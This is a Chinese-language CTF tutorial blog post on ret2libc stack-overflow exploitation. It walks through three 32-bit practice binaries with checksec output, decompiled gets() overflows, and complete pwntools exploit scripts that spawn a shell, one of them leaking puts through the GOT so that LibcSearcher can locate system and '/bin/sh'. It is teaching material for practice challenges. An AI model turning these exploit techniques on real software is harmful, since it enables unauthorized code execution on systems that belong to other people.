在上上集的Ret2系列 我在ret2libc这个方面没有讲的非常的好 今天 我觉得把在整体Pwn题目中几乎最重要的Ret2libc教学 讲一下

0x01 Ret2libc

在上一次WickyTime 我们已经学过了基本的Ret2系列的教学 而ret2libc 则是从libc函数库中获取所需要的本ELF中没有的函数 字符串
Libc概况
首先 我们先从一道ret2text题目入手

Ret2libc1 题目解析

首先 Checksec

[*] '/home/retr0/ret2libc/ret2libc1/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到 这是一个32位的程序 只开了NX[栈中的数据不可执行
IDA解析源码;

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

可以看到 在gets存在溢出 因为gets对读取的数据不限制 所有我们可以上传无限长度的字符串
/bin/sh
在IDA中 我们使用Shift + F12打开字符串窗口 可以明显的看到 这里是有/bin/sh字符串的
system函数
有system函数 并且地址是0x804A0F4
那么现在 我们可以开始构造思路了!

构造思路

思路如下

思路
一般来说 返回地址是main函数

Exp

from pwn import *
p=process('./ret2libc1')
bin_addr=0x8048720
sys_addr=0x8048460
payload=b'a'*112+p32(sys_addr)+p32(0x123)+p32(bin_addr)
p.sendline(payload)
p.interactive()

Bingo 一个Shell就来了

Ret2libc2

这一题其实也和libc没有什么关系 但是也是需要学习的;
首先我们先Checksec

[*] '/home/retr0/ret2libc/ret2libc2/ret2libc2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到 这一题和之前的差别不大 都是只开了NX保护 那么 我们开始做题吧

反汇编代码;

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(&s);
  return 0;
}

也有System函数

但是 问题就来了 我们只有system函数 却没有/bin/sh字符串 那么怎么办呢
一般这一种题目 我们先打开gdb并且vmmap看一下

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/retr0/ret2libc/ret2libc2/ret2libc2
 0x8049000  0x804a000 r--p     1000 0      /home/retr0/ret2libc/ret2libc2/ret2libc2
 0x804a000  0x804b000 rw-p     1000 1000   /home/retr0/ret2libc/ret2libc2/ret2libc2
 0x804b000  0x806d000 rw-p    22000 0      [heap]
0xf7dc5000 0xf7de2000 r--p    1d000 0      /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7de2000 0xf7f3d000 r-xp   15b000 1d000  /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7f3d000 0xf7fad000 r--p    70000 178000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fad000 0xf7fae000 ---p     1000 1e8000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fae000 0xf7fb0000 r--p     2000 1e8000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb0000 0xf7fb2000 rw-p     2000 1ea000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb2000 0xf7fb4000 rw-p     2000 0
0xf7fcb000 0xf7fcd000 rw-p     2000 0
0xf7fcd000 0xf7fd0000 r--p     3000 0      [vvar]
0xf7fd0000 0xf7fd1000 r-xp     1000 0      [vdso]
0xf7fd1000 0xf7fd2000 r--p     1000 0      /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7fd2000 0xf7ff0000 r-xp    1e000 1000   /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ff0000 0xf7ffb000 r--p     b000 1f000  /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 r--p     1000 2a000  /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 rw-p     1000 2b000  /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 rw-p    21000 0      [stack]

我们可以看到 这里有很多的数据 **他们都是我们现在在使用的内存 其中 这些r--p,rw-p代表了他们的可读可写属性(我猜) r 代表 read w代表
write

**
我盲猜可写中肯定有是bss段的 而且是在我们使用的函数中
说到了bss段 那么我们介绍一下

BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。可执行程序包括BSS段、数据段、代码段。
BSS(Block Started by Symbol)通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域。特点是:可读写的,在程序执行之前BSS段会自动清0。所以,未初始的全局变量在程序执行之前已经成0了。
数据段包括初始化的数据和未初始化的数据(BSS)两部分 。BSS段存放的是未初始化的全局变量和静态变量。
UNIX下可使用size命令查看可执行文件的段大小信息。如size a.out

总结来说 bss段就是一个可读写的段 可以用来存放像/bin/sh这些字符串

那么 我们思路就有了

构造思路

image.png
这里不多说了 大家应该会了解

Exp

from pwn import *
p=process('./ret2libc2')
sys_addr=0x8048490
get_addr=0x8048460
bss_addr=0x804A080
payload = 'a'*112 +p32(get_addr)+p32(sys_addr)+p32(bss_addr)+p32(bss_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

其实这一题还有一种解法 等我有时间再发一篇 哈哈

Ret2Libc3

这是真正意义上的ret2libc
首先我们先Checksec

[*] '/home/retr0/ret2libc/ret2libc3/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

发现和之前的一模一样 只开了NX
IDA:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(&s);
  return 0;
}

嗯?怎么回事 怎么和之前的一样 还是gets溢出........

但是这个ELF 它既没有system函数 还没有bin/sh字符串 那咋整。。。
没事 我们有Libc!!!
我们都知道 一个程序在加载的时候一定会加载__libc_start_main 这个函数
在Libc库中 包含了像system函数和bin/sh字符串这一些玩意和一些其他的函数
但是 Libc的版本是不同的 所以我们要通过随便一个其他函数的后三位真实地址
为什么是后三位?因为程序后三位在加载时是不会变的

那么我们的总体思路就出来了
总体
这里 我们分两部分讲:

Part One : 泄露

首先 由于PLT和GOT的延迟绑定机制 我们只可以泄露在溢出前的函数地址 那么这里 我们首先选择Puts函数
延迟绑定
首先 我们先从当前ELF中获取PUTS的GOT和PLT,并且打印后查询
思路

Part Two : Get_Shell

在泄露了Libc版本后 我们就可以使用Libc中的函数之类的东西了 但是我们还是需要计算偏移
Libc偏移 = 源地址 - libc地址
之后 我们再把Libc加上偏移 我们就Getshell了

image.png

Exp

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
#gdb.attach(p)
payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
p.sendlineafter("!?",payload1)
puts_addr=u32(p.recv(4))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump("puts")
system_addr=libcbase+libc.dump("system")
binsh_addr=libcbase+libc.dump("str_bin_sh")
payload2=b'A'*112+p32(system_addr)+p32(1234)+p32(binsh_addr)
p.sendlineafter("!?",payload2)
p.interactive()

好了 今天的W1ckyTime就到这了 咱们下期再见

最后修改:2021 年 05 月 09 日 11 : 02 AM
如果觉得我的文章对你有用,请随意赞赏